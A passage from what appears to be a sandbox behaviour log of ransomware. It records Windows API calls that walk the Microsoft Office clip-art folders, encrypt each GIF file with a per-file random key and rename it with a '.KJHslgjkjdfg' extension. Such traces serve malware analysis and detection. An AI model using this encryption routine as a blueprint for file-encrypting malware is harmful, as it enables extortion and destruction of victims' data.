lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f16d60*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0191.415] CloseHandle (hObject=0xf0) returned 1 [0191.416] GetProcessHeap () returned 0x2ef0000 [0191.416] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16998 | out: hHeap=0x2ef0000) returned 1 [0191.416] GetProcessHeap () returned 0x2ef0000 [0191.416] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16d60 | out: hHeap=0x2ef0000) returned 1 [0191.416] GetProcessHeap () returned 0x2ef0000 [0191.416] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0191.416] GetProcessHeap () returned 0x2ef0000 [0191.416] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.416] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0191.416] GetProcessHeap () returned 0x2ef0000 [0191.416] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f479c8 | out: hHeap=0x2ef0000) returned 1 [0191.416] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0191.416] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0191.416] GetProcessHeap () returned 0x2ef0000 [0191.416] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0191.416] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0191.417] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0191.417] GetProcessHeap () returned 0x2ef0000 [0191.417] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0191.417] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10", cAlternateFileName="")) returned 0 [0191.417] FindClose (in: hFindFile=0x2f18208 | out: hFindFile=0x2f18208) returned 1 [0191.417] GetProcessHeap () returned 0x2ef0000 [0191.417] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0191.417] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf093ed10, ftCreationTime.dwHighDateTime=0x1d56654, ftLastAccessTime.dwLowDateTime=0xce1aa3c0, ftLastAccessTime.dwHighDateTime=0x1d5a7b1, ftLastWriteTime.dwLowDateTime=0xce1aa3c0, ftLastWriteTime.dwHighDateTime=0x1d5a7b1, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="automation-gaps.exe", cAlternateFileName="AUTOMA~1.EXE")) returned 1 [0191.417] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1815cac0, ftCreationTime.dwHighDateTime=0x1d5a719, ftLastAccessTime.dwLowDateTime=0xb62a9dc0, ftLastAccessTime.dwHighDateTime=0x1d5841a, ftLastWriteTime.dwLowDateTime=0xb62a9dc0, ftLastWriteTime.dwHighDateTime=0x1d5841a, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="laptops-statute.exe", cAlternateFileName="LAPTOP~1.EXE")) returned 1 [0191.417] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1815cac0, ftCreationTime.dwHighDateTime=0x1d5a719, ftLastAccessTime.dwLowDateTime=0xb62a9dc0, ftLastAccessTime.dwHighDateTime=0x1d5841a, ftLastWriteTime.dwLowDateTime=0xb62a9dc0, ftLastWriteTime.dwHighDateTime=0x1d5841a, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="laptops-statute.exe", cAlternateFileName="LAPTOP~1.EXE")) returned 0 [0191.417] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0191.417] GetProcessHeap () returned 0x2ef0000 [0191.417] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0191.417] FindNextFileW (in: hFindFile=0x2f18248, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xde0650e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde0650e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0191.417] GetProcessHeap () returned 0x2ef0000 [0191.417] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x54) returned 0x2f123a0 [0191.417] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xde0650e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde0650e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0191.418] GetProcessHeap () returned 0x2ef0000 [0191.418] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0191.418] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xde0650e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde0650e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0191.418] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cfc3aa0, ftCreationTime.dwHighDateTime=0x1d5d24d, ftLastAccessTime.dwLowDateTime=0xf8e83030, ftLastAccessTime.dwHighDateTime=0x1d57599, ftLastWriteTime.dwLowDateTime=0xf8e83030, ftLastWriteTime.dwHighDateTime=0x1d57599, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="accupos.exe", cAlternateFileName="")) returned 1 [0191.418] GetProcessHeap () returned 0x2ef0000 [0191.418] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x256) returned 0x2f10788 [0191.418] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15abbc60, ftCreationTime.dwHighDateTime=0x1d58179, ftLastAccessTime.dwLowDateTime=0xe1648150, ftLastAccessTime.dwHighDateTime=0x1d5a327, ftLastWriteTime.dwLowDateTime=0xe1648150, ftLastWriteTime.dwHighDateTime=0x1d5a327, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bag_academics_bureau.exe", cAlternateFileName="BAG_AC~1.EXE")) returned 1 [0191.418] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0191.418] GetProcessHeap () returned 0x2ef0000 [0191.418] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x64) returned 0x2f123a0 [0191.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0191.419] GetProcessHeap () returned 0x2ef0000 [0191.419] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0191.419] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0191.419] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0191.419] GetProcessHeap () returned 0x2ef0000 [0191.420] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x266) returned 0x2f14588 [0191.420] GetProcessHeap () returned 0x2ef0000 [0191.420] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x76) returned 0x2f09d00 [0191.420] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0191.423] GetProcessHeap () returned 0x2ef0000 [0191.423] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0191.423] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0191.424] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0191.424] GetProcessHeap () returned 0x2ef0000 [0191.424] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x278) returned 0x2f11d10 [0191.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.424] GetProcessHeap () returned 0x2ef0000 [0191.424] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.424] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.424] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.425] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.425] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.425] GetProcessHeap () returned 0x2ef0000 [0191.425] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.425] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.425] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.425] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.427] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.427] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.427] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.427] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.427] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.427] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.427] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.427] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2340, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2340, lpOverlapped=0x0) returned 1 [0191.428] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2340, dwBufLen=0x2340 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2340) returned 1 [0191.428] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.428] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2340, lpOverlapped=0x0) returned 1 [0191.428] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.429] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.429] SetEndOfFile (hFile=0x130) returned 1 [0191.430] GetProcessHeap () returned 0x2ef0000 [0191.430] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.430] GetProcessHeap () returned 0x2ef0000 [0191.430] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.kjhslgjkjdfg")) returned 1 [0191.431] CloseHandle (hObject=0x130) returned 1 [0191.432] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0191.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.432] GetProcessHeap () returned 0x2ef0000 [0191.432] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.432] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.432] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0191.432] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.432] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.432] GetProcessHeap () returned 0x2ef0000 [0191.432] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.432] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0191.432] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.432] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0191.435] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0191.435] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0191.435] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0191.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0191.435] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0191.435] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0191.435] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.435] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c30, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1c30, lpOverlapped=0x0) returned 1 [0191.436] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c30, dwBufLen=0x1c30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c30) returned 1 [0191.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.436] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1c30, lpOverlapped=0x0) returned 1 [0191.437] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0191.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.437] SetEndOfFile (hFile=0x130) returned 1 [0191.439] GetProcessHeap () returned 0x2ef0000 [0191.439] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.439] GetProcessHeap () returned 0x2ef0000 [0191.439] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.kjhslgjkjdfg")) returned 1 [0191.442] CloseHandle (hObject=0x130) returned 1 [0191.442] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0191.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.444] GetProcessHeap () returned 0x2ef0000 [0191.444] RtlAllocateHeap 